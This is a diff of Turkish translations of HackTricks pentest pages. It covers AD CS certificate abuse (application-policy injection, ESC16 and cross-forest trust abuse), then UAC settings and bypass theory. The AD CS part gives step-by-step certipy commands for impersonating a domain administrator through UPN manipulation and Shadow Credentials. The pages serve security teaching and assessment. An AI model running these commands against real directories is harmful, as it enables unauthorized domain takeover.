+**Adım 1: Bir sertifika isteyin; "Client Authentication" Application Policy'sini ve hedef UPN'i enjekte ederek.** Saldırgan `attacker@corp.local` `administrator@corp.local`'ı, kayıt sahibinin sağladığı subject'e izin veren "WebServer" V1 şablonunu kullanarak hedef alır.
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -786,17 +787,17 @@ certipy req \
 -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
 -application-policies 'Client Authentication'
 ```
-- `-template 'WebServer'`: "Enrollee supplies subject" ayarına sahip kırılgan V1 şablonu.
-- `-application-policies 'Client Authentication'`: CSR'nin Application Policies uzantısına OID `1.3.6.1.5.5.7.3.2` ekler.
-- `-upn 'administrator@corp.local'`: Taklit amaçlı SAN içinde UPN'i ayarlar.
+- `-template 'WebServer'`: Güvenlik açığı olan V1 şablonu; "Kayıt yapanın subject sağlaması".
+- `-application-policies 'Client Authentication'`: CSR'nin Application Policies uzantısına OID `1.3.6.1.5.5.7.3.2`'yi ekler.
+- `-upn 'administrator@corp.local'`: Kimlik taklidi için SAN'da UPN'i ayarlar.
 
-**Adım 2: Elde edilen sertifika ile Schannel (LDAPS) üzerinden kimlik doğrulaması yapın.**
+**Adım 2: Elde edilen sertifikayı kullanarak Schannel (LDAPS) üzerinden kimlik doğrulaması yapın.**
 ```bash
 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
 ```
 #### Senaryo B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
 
-**Adım 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy.** Bu sertifika, saldırganın (`attacker@corp.local`) enrollment agent olabilmesi içindir. Burada saldırganın kendi kimliği için herhangi bir UPN belirtilmemiştir, çünkü amaç ajan yeteneğidir.
+**Adım 1: "Enrollee supplies subject" içeren bir V1 şablonundan sertifika talep edin ve "Certificate Request Agent" Application Policy'sini enjekte edin.** Bu sertifika, saldırganın (`attacker@corp.local`) bir enrollment agent olabilmesi içindir. Burada saldırganın kendi kimliği için herhangi bir UPN belirtilmez; amaç ajan yeteneğidir.
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -804,9 +805,9 @@ certipy req \
 -ca 'CORP-CA' -template 'WebServer' \
 -application-policies 'Certificate Request Agent'
 ```
-- `-application-policies 'Certificate Request Agent'`: OID `1.3.6.1.4.1.311.20.2.1`'i enjekte eder.
+- `-application-policies 'Certificate Request Agent'`: OID `1.3.6.1.4.1.311.20.2.1`'yi enjekte eder.
 
-**Adım 2: Hedef ayrıcalıklı kullanıcı adına sertifika istemek için "agent" sertifikasını kullanın.** Bu, Adım 1'deki sertifikayı agent sertifikası olarak kullanan ESC3-benzeri bir adımdır.
+**Adım 2: Hedef ayrıcalıklı bir kullanıcı adına sertifika talep etmek için "agent" sertifikasını kullanın.** Bu, Adım 1'deki sertifikayı "agent" sertifikası olarak kullanan ESC3-like bir adımdır.
 ```bash
 certipy req \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
@@ -818,48 +819,48 @@ certipy req \
 ```bash
 certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
 ```
-## Security Extension Disabled on CA (Globally)-ESC16
+## CA'da Güvenlik Uzantısı Devre Dışı (Genel)-ESC16
 
 ### Açıklama
 
-**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)**, AD CS yapılandırması tüm sertifikalara **szOID_NTDS_CA_SECURITY_EXT** uzantısının eklenmesini zorunlu kılmıyorsa, bir saldırganın bunu suistimal edebileceği durumu ifade eder. Bu suistimal şunları içerir:
+**ESC16 (Elevation of Privilege via Missing szOID_NTDS_CA_SECURITY_EXT Extension)**, AD CS konfigürasyonu tüm sertifikalara **szOID_NTDS_CA_SECURITY_EXT** uzantısının eklenmesini zorunlu kılmıyorsa, bir saldırganın bunu şu şekilde kötüye kullanabileceği senaryoya işaret eder:
 
-1. **SID binding** olmadan bir sertifika talep etmek.
+1. **SID binding olmadan** bir sertifika talep etmek.
 
-2. Bu sertifikayı herhangi bir hesap olarak kimlik doğrulama için kullanmak; örneğin yüksek ayrıcalıklı bir hesabı (ör. bir Domain Administrator) taklit etmek.
+2. Bu sertifikayı **herhangi bir hesap olarak kimlik doğrulaması için** kullanmak; örneğin yüksek ayrıcalıklı bir hesabı (ör. Domain Administrator) taklit etmek.
 
 Detaylı prensibi öğrenmek için şu makaleye de bakabilirsiniz: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
 
 ### Kötüye Kullanım
 
-Aşağıdakiler [bu bağlantıya](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally) dayanmaktadır; daha ayrıntılı kullanım yöntemlerini görmek için tıklayın.
+Aşağıdakiler [bu linke](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally) referans verilmiştir. Daha ayrıntılı kullanım yöntemleri için tıklayın.
 
 Active Directory Certificate Services (AD CS) ortamının **ESC16**'ya karşı savunmasız olup olmadığını belirlemek için
 ```bash
 certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
 ```
-**Adım 1: Kurban hesabının ilk UPN'ini okuyun (İsteğe bağlı - geri yükleme için).
+**Adım 1: Hedef hesabın ilk UPN'sini oku (İsteğe bağlı - geri yükleme için).
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -user 'victim' \
 read
 ```
-**Adım 2: Kurban hesabın UPN'sini hedef yöneticinin `sAMAccountName` değeriyle güncelleyin.**
+**Adım 2: Mağdur hesabın UPN'sini hedef yöneticinin `sAMAccountName` değeriyle güncelleyin.**
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -upn 'administrator' \
 -user 'victim' update
 ```
-**Adım 3: (Gerekirse) "victim" hesabının kimlik bilgilerini elde edin (ör. Shadow Credentials aracılığıyla).**
+**Adım 3: (Gerekirse) "victim" hesabı için kimlik bilgilerini edinin (örn. Shadow Credentials ile).**
 ```shell
 certipy shadow \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -account 'victim' \
 auto
 ```
-**Adım 4: ESC16-vulnerable CA üzerinde "victim" kullanıcısı adına _any suitable client authentication template_ (ör. "User") üzerinden bir sertifika talep edin.** CA ESC16'ya karşı savunmasız olduğu için, şablonun bu uzantı için yaptığı özel ayarlara bakılmaksızın verilen sertifikadan SID security extension otomatik olarak çıkarılacaktır. Kerberos credential cache ortam değişkenini ayarlayın (shell komutu):
+**Adım 4: ESC16-vulnerable CA üzerinde "victim" kullanıcısı olarak _any suitable client authentication template_ (ör. "User") üzerinden bir sertifika talep edin.** CA ESC16'e karşı savunmasız olduğu için, şablonun bu uzantı için belirli ayarlarına bakılmaksızın verilen sertifikadan otomatik olarak SID security extension'ı çıkaracaktır. Kerberos credential cache environment variable'ını ayarlayın (shell komutu):
 ```bash
 export KRB5CCNAME=victim.ccache
 ```
@@ -870,34 +871,32 @@ certipy req \
 -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
 -template 'User'
 ```
-**Adım 5: "victim" hesabının UPN'sini eski haline getir.**
+**Adım 5: "victim" hesabının UPN'sini eski haline döndür.**
 ```bash
 certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -upn 'victim@corp.local' \
 -user 'victim' update
 ```
-**Adım 6: hedef yönetici olarak kimlik doğrulama.**
+**Adım 6: Hedef yönetici olarak kimlik doğrulaması yapın.**
 ```bash
 certipy auth \
 -dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
 -username 'administrator' -domain 'corp.local'
 ```
-## Sertifikalarla Ormanların Ele Geçirilmesi (Edilgen Anlatım)
+## Sertifikalarla Forest'ların Ele Geçirilmesi — Edilgen Anlatımla Açıklama
 
-### Ele Geçirilmiş CA'ların Orman Güvenlerini Bozması
+### Compromised CA'lar Tarafından Forest Trust'larının Bozulması
 
-Cross-forest enrollment yapılandırması nispeten basittir. Resource forest'tan gelen root CA certificate yöneticiler tarafından account forests'a yayınlanır ve resource forest'tan gelen enterprise CA sertifikaları her account forest'taki `NTAuthCertificates` ve AIA container'larına eklenir. Açıklamak gerekirse, bu düzenleme resource forest'taki CA'ya yönettiği PKI'ya ait tüm diğer forestlar üzerinde tam kontrol sağlar. Bu CA saldırganlar tarafından ele geçirilirse, resource ve account forest'lardaki tüm kullanıcılar için sertifikalar onlar tarafından sahte olarak düzenlenebilir ve böylece forest'un güvenlik sınırı kırılmış olur.
+**cross-forest enrollment** yapılandırması nispeten basit hale getirilmiştir. Kaynak forest'taki **root CA certificate**, yöneticiler tarafından **published to the account forests** yapılır ve kaynak forest'taki **enterprise CA** sertifikaları her bir hesap forest'ına **added to the `NTAuthCertificates` and AIA containers in each account forest**. Açıklamak gerekirse, bu düzenleme yönettiği PKI için diğer tüm forest'lar üzerinde **CA in the resource forest complete control** yetkisini verir. Eğer bu CA **compromised by attackers** olursa, kaynak ve hesap forest'larındaki tüm kullanıcıların sertifikaları saldırganlar tarafından **forged by them** yapılabilir; böylece forest'un güvenlik sınırı ihlal edilmiş olur.
 
-### Yabancı Principal'lere Verilen Enrollment Yetkileri
+### Yabancı Principal'lara Verilen Enrollment Ayrıcalıkları
 
-Çoklu-forest ortamlarında, Enterprise CAs tarafından yayınlanan ve **Authenticated Users veya foreign principals** (Enterprise CA'nın ait olduğu forest'ın dışındaki kullanıcı/gruplar) için **enrollment ve edit hakları** veren certificate templates konusunda dikkatli olunmalıdır.\
-Bir trust üzerinden kimlik doğrulaması yapıldığında, **Authenticated Users SID** AD tarafından kullanıcının token'ına eklenir. Bu nedenle, eğer bir domain'in Enterprise CA'sı Authenticated Users enrollment haklarını veren bir template'e sahipse, o template muhtemelen farklı bir forest'tan bir kullanıcı tarafından enroll edilebilir. Benzer şekilde, eğer bir template açıkça bir foreign principal'e enrollment hakları veriyorsa, bu durum bir cross-forest access-control relationship oluşturur ve bir forest'taki bir principal'ın diğer forest'taki bir template'i enroll etmesine izin verir.
+Çoklu-forest ortamlarında, Enterprise CAs tarafından **publish certificate templates** yapılan ve **Authenticated Users or foreign principals** (Enterprise CA'nın ait olduğu forest'ın dışındaki kullanıcılar/gruplar) için **enrollment and edit rights** veren şablonlara karşı dikkatli olunmalıdır. Bir trust üzerinden kimlik doğrulaması yapıldığında, AD tarafından kullanıcının token'ına **Authenticated Users SID** eklenir. Bu nedenle, eğer bir domain Enterprise CA'ya sahip ve bir şablon **allows Authenticated Users enrollment rights** ise, farklı bir forest'tan bir kullanıcı bu şablonu **enrolled in by a user from a different forest** yapabilir. Benzer şekilde, eğer bir şablon tarafından bir yabancı principal'a **enrollment rights are explicitly granted to a foreign principal by a template** verilmişse, bu durumda bir **cross-forest access-control relationship is thereby created** oluşturulur ve bir forest'taki principal başka bir forest'taki bir şablona **enroll in a template from another forest** yapabilir.
 
-Her iki senaryo da bir forest'tan diğerine doğru attack surface'ın artmasına yol açar. Certificate template ayarları bir saldırgan tarafından kullanılarak yabancı bir domain'de ek ayrıcalıklar elde edilebilir.
+Her iki senaryo da bir forest'tan diğerine doğru **increase in the attack surface** ile sonuçlanır. Sertifika şablonunun ayarları, bir saldırgan tarafından yabancı bir domain'de ek ayrıcalıklar elde etmek için istismar edilebilir.
 
-
-## References
+## Referanslar
 
 - [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
 - [GhostPack/Certify](https://github.com/GhostPack/Certify)

src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

@@ -1,47 +1,48 @@
-# UAC - Kullanıcı Hesap Denetimi
+# UAC - Kullanıcı Hesabı Denetimi
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## UAC
 
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) bir uygulamadır ve **yükseltilmiş işlemler için onay istemi** sağlar. Uygulamaların farklı `integrity` seviyeleri vardır ve **yüksek seviye** bir program sisteme **potansiyel olarak zarar verebilecek** görevleri gerçekleştirebilir. UAC etkin olduğunda, bir yönetici açıkça bu uygulama/görevlere yönetici düzeyinde erişim yetkisi vermedikçe uygulamalar ve görevler her zaman **bir yönetici olmayan hesabın güvenlik bağlamı altında** çalışır. Bu, yöneticileri istem dışı değişikliklerden koruyan bir kolaylık özelliğidir ancak bir güvenlik sınırı olarak kabul edilmez.
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) özelliği, **yükseltilmiş işlemler için onay istemi** sağlar. Uygulamaların farklı `integrity` seviyeleri vardır ve **yüksek seviyede** bir program **sistemi potansiyel olarak tehlikeye atabilecek** görevleri gerçekleştirebilir. UAC etkin olduğunda, bir yönetici bu uygulama/görevlerin sistemde yönetici düzeyinde çalışmasına açıkça izin vermedikçe, uygulamalar ve görevler her zaman **yönetici olmayan bir hesabın güvenlik bağlamı altında çalışır**. Bu, yöneticileri istem dışı değişikliklerden koruyan bir kolaylık özelliğidir; ancak bir güvenlik sınırı olarak kabul edilmez.
+
+integrity seviyeleri hakkında daha fazla bilgi için:
 
-Daha fazla bilgi için integrity seviyeleri hakkında:
 
 {{#ref}}
 ../windows-local-privilege-escalation/integrity-levels.md
 {{#endref}}
 
-UAC etkin olduğunda, bir yönetici kullanıcıya 2 token verilir: normal işlemler için standart bir kullanıcı token'ı ve yönetici ayrıcalıkları içeren bir token.
+UAC etkin olduğunda, bir yönetici kullanıcıya 2 token verilir: normal düzeyde işlemler yapmak için bir standart kullanıcı token'ı ve yönetici ayrıcalıklarını içeren bir token.
 
-Bu [sayfa](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) UAC'nin nasıl çalıştığını derinlemesine tartışır ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içerir. Yöneticiler, UAC'nin kuruluşlarına özel nasıl çalışacağını yerel düzeyde güvenlik ilkeleriyle (secpol.msc kullanarak) yapılandırabilir veya Active Directory alan ortamında Group Policy Objects (GPO) aracılığıyla dağıtabilir. Çeşitli ayarlar [burada](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) ayrıntılı olarak tartışılmaktadır. UAC için ayarlanabilecek 10 Grup İlkesi ayarı vardır. Aşağıdaki tablo ek ayrıntı sağlar:
+This [page](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) UAC'nin nasıl çalıştığını ayrıntılı olarak açıklar ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içerir. Yöneticiler, UAC'nin kuruluşlarına özgü nasıl çalışacağını yerel düzeyde yapılandırmak için güvenlik politikalarını (secpol.msc kullanarak) kullanabilir veya Active Directory alanı ortamında Group Policy Objects (GPO) aracılığıyla yapılandırıp dağıtabilir. Çeşitli ayarlar detaylı olarak [here](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings) üzerinde tartışılmıştır. UAC için ayarlanabilecek 10 Group Policy ayarı vardır. Aşağıdaki tablo ek ayrıntı sağlar:
 
-| Grup İlkesi Ayarı                                                                                                                                                                                                                                                                                                                                                           | Registry Key                | Varsayılan Ayar                                              |
-| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
-| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken    | Devre Dışı                                                   |
-| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Devre Dışı                                                   |
-| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Windows dışı ikili dosyalar için onay istenir               |
-| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Güvenli masaüstünde kimlik bilgileri istenir                 |
-| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Etkin (ev için varsayılan) / Devre Dışı (kurumsal için varsayılan) |
-| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Devre Dışı                                                   |
-| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Etkin                                                        |
-| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Etkin                                                        |
-| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Etkin                                                        |
-| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Etkin                                                        |
+| Group Policy Setting                                                                                                                                                                                                                                                                                                                                                           | Kayıt Defteri Anahtarı   | Varsayılan Ayar                                             |
+| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------- | ----------------------------------------------------------- |
+| [User Account Control: Admin Approval Mode for the built-in Administrator account](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account)                                                     | FilterAdministratorToken  | Devre Dışı                                                  |
+| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle    | Devre Dışı                                                  |
+| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin| Windows dışı ikili dosyalar için onay iste                  |
+| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser | Güvenli masaüstünde kimlik bilgilerini iste                 |
+| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection  | Etkin (ev için varsayılan) Devre Dışı (kurumsal için varsayılan) |
+| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Devre Dışı                                                |
+| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths      | Etkin                                                       |
+| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                 | Etkin                                                       |
+| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop     | Etkin                                                       |
+| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization      | Etkin                                                       |
 
-### UAC Bypass Teorisi
+### UAC Bypass Theory
 
-Bazı programlar, kullanıcı **administrator grubuna aitse** **otomatik olarak yükseltilir (autoelevated)**. Bu ikili dosyaların içindeki _**Manifests**_ bölümünde _**autoElevate**_ seçeneği _**True**_ olarak ayarlanmıştır. İkili dosyanın ayrıca **Microsoft tarafından imzalanmış** olması gerekir.
+Bazı programlar, **kullanıcı administrator grubuna aitse** **otomatik olarak yükseltilir**. Bu ikili dosyaların Manifestlerinde _autoElevate_ seçeneği değeri _True_ olarak bulunur. Ayrıca ikili dosyanın **Microsoft tarafından imzalanmış** olması gerekir.
 
-Birçok auto-elevate süreci, medium integrity (normal kullanıcı düzeyi ayrıcalıklarıyla çalışan) süreçlerden çağrılabilen **COM objeleri veya RPC sunucuları aracılığıyla işlevsellik** sunar. COM (Component Object Model) ve RPC (Remote Procedure Call), Windows programlarının farklı süreçler arasında iletişim kurup fonksiyonları çalıştırmak için kullandığı yöntemlerdir. Örneğin, **`IFileOperation COM object`** dosya işlemlerini (kopyalama, silme, taşıma) ele almak üzere tasarlanmıştır ve uyarı göstermeden otomatik olarak ayrıcalıkları yükseltebilir.
+Birçok auto-elevate işlemi, medium integrity (normal kullanıcı düzeyi ayrıcalıklarıyla) çalışan süreçlerden çağrılabilen **COM nesneleri veya RPC sunucuları aracılığıyla** işlevsellik sunar. COM (Component Object Model) ve RPC (Remote Procedure Call), Windows programlarının farklı süreçler arasında iletişim kurup işlevleri çalıştırmak için kullandığı yöntemlerdir. Örneğin, **`IFileOperation COM object`** dosya işlemlerini (kopyalama, silme, taşıma) yönetmek için tasarlanmıştır ve uyarı göstermeden ayrıcalıkları otomatik olarak yükseltebilir.
 
-Bazı kontrollerin, örneğin işlemin **System32 dizininden** çalıştırılıp çalıştırılmadığını kontrol etmesi gibi kontroller yapılabileceğini unutmayın; bu tür kontroller, örneğin **explorer.exe'ye enjeksiyon** yapmak veya System32 konumunda bulunan başka bir yürütülebilir dosyaya enjeksiyonla atlatılabilir.
+Bazı kontroller yapılabilir; örneğin sürecin **System32 dizininden** çalıştırılıp çalıştırılmadığı kontrol edilebilir. Bu tür kontroller, örneğin **explorer.exe içine inject etmek** veya başka bir System32 konumunda bulunan yürütülebilir dosyaya müdahale ederek atlatılabilir.
 
-Bu kontrolleri atlatmanın bir diğer yolu PEB'i **değiştirmektir**. Windows'taki her sürecin bir Process Environment Block (PEB) vardır; bu blok süreç hakkında yürütülebilir yol gibi önemli verileri içerir. PEB'i değiştirerek, saldırganlar kendi kötü amaçlı süreçlerinin konumunu sahte (spoof) şekilde gösterebilir ve sürecin güvenilir bir dizinden (ör. system32) çalışıyormuş gibi görünmesini sağlayabilir. Bu taklit edilmiş bilgi, COM objesini kullanıcıya sormadan otomatik olarak ayrıcalıkları yükseltmek için kandırır.
+Bu kontrolleri atlatmanın bir başka yolu da **PEB'i değiştirmektir**. Windows'taki her sürecin Process Environment Block (PEB) adlı bir yapısı vardır; bu yapı, yürütülebilir yol gibi süreçle ilgili önemli verileri içerir. PEB'i değiştirerek, saldırganlar kendi kötü amaçlı süreçlerinin konumunu sahteleyebilir (spoof), sürecin güvenilen bir dizinden (ör. system32) çalışıyor gibi görünmesini sağlayabilir. Bu sahte bilgi, COM nesnesini uyarı göstermeden ayrıcalıkları otomatik olarak yükseltmesi için kandırır.
 
-Daha sonra, UAC'yi **atlatmak (yani medium integrity seviyesinden high'a yükselmek)** için bazı saldırganlar bu tür ikilileri kullanarak **rastgele kod çalıştırır**, çünkü kod **High integrity** seviyesindeki bir süreçten çalıştırılacaktır.
+Daha sonra UAC'yi **atlatmak** (medium integrity seviyesinden **high** seviyeye yükselmek) için bazı saldırganlar bu tür ikili dosyaları **keyfi kod yürütmek** amacıyla kullanır; çünkü kod, **High level integrity** işlemi içinde çalıştırılacaktır.
 
-Bir ikilinin _**Manifest**_'ini kontrol etmek için Sysinternals'tan _**sigcheck.exe**_ aracını kullanabilirsiniz. (`sigcheck.exe -m <file>`) Ve süreçlerin **integrity seviyesini** görmek için _Process Explorer_ veya _Process Monitor_ (Sysinternals) kullanabilirsiniz.
+Bir ikili dosyanın Manifest'ini kontrol etmek için Sysinternals'tan _sigcheck.exe_ aracını kullanabilirsiniz. (`sigcheck.exe -m <file>`) Ve süreçlerin **integrity level** değerini görmek için _Process Explorer_ veya _Process Monitor_ (Sysinternals) kullanabilirsiniz.
 
 ### UAC Kontrolü
 
@@ -52,38 +53,38 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 EnableLUA    REG_DWORD    0x1
 ```
-Eğer **`1`** ise UAC **etkinleştirilmiş**, eğer **`0`** ise veya mevcut değilse UAC **devre dışı**.
+Eğer **`1`** ise UAC **etkinleştirilmiş**, eğer **`0`** ise veya **var değilse**, UAC **etkin değil**.
 
-Sonra, **hangi seviyenin** yapılandırıldığını kontrol edin:
+Sonra, **hangi seviye**nin yapılandırıldığını kontrol edin:
 ```
 REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
 
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 ```
-- Eğer **`0`** ise, UAC uyarısı gelmez (yani **devre dışı**)
-- Eğer **`1`** ise yöneticiye yüksek haklarla binary'yi çalıştırmak için **kullanıcı adı ve parola sorulur** (Secure Desktop üzerinde)
-- Eğer **`2`** (**Always notify me**) yönetici yüksek ayrıcalıkla bir şey çalıştırmayı denediğinde UAC her zaman onay ister (Secure Desktop üzerinde)
-- Eğer **`3`** `1` gibidir ama Secure Desktop gerekli değildir
-- Eğer **`4`** `2` gibidir ama Secure Desktop gerekli değildir
-- Eğer **`5`** (**varsayılan**) Windows olmayan binary'leri yüksek ayrıcalıklarla çalıştırmak için yöneticiden onay ister
+- Eğer **`0`** ise, UAC uyarısı çıkmaz (örneğin **devre dışı**)
+- Eğer **`1`** ise, yöneticiye binary'i yüksek haklarla çalıştırması için **kullanıcı adı ve parola sorulur** (on Secure Desktop)
+- Eğer **`2`** (**Always notify me**) UAC, yönetici yüksek ayrıcalık gerektiren bir şeyi çalıştırmaya çalıştığında her zaman onay ister (on Secure Desktop)
+- Eğer **`3`** `1` ile aynı, ancak Secure Desktop üzerinde olmak zorunda değil
+- Eğer **`4`** `2` ile aynı, ancak Secure Desktop üzerinde olmak zorunda değil
+- Eğer **`5`**(**default**) yöneticiye non Windows binary'leri yüksek ayrıcalıklarla çalıştırmak için onay sorar
 
-Sonra, **`LocalAccountTokenFilterPolicy`** değerine bakmalısınız.\
-Eğer değer **`0`** ise, yalnızca **RID 500** kullanıcısı (yerleşik Yönetici) **UAC olmadan yönetici görevlerini** yerine getirebilir; eğer **`1`** ise, **"Administrators"** grubundaki tüm hesaplar bunu yapabilir.
+Sonra, **`LocalAccountTokenFilterPolicy`** değerine bakmalısınız\
+Eğer değer **`0`** ise, yalnızca **RID 500** kullanıcı (**built-in Administrator**) **UAC olmadan yönetici görevlerini** yapabilir, ve eğer `1` ise, **"Administrators"** grubundaki tüm hesaplar bunları yapabilir.
 
-Ve son olarak **`FilterAdministratorToken`** anahtarının değerine bakın.\
-Eğer **`0`** (varsayılan) ise, yerleşik Administrator hesabı uzak yönetim görevlerini yapabilir; eğer **`1`** ise yerleşik Administrator hesabı uzak yönetim görevlerini yapamaz, ancak `LocalAccountTokenFilterPolicy` `1` olarak ayarlanmışsa yapabilir.
+Ve son olarak **`FilterAdministratorToken`** anahtarının değerine bakın\
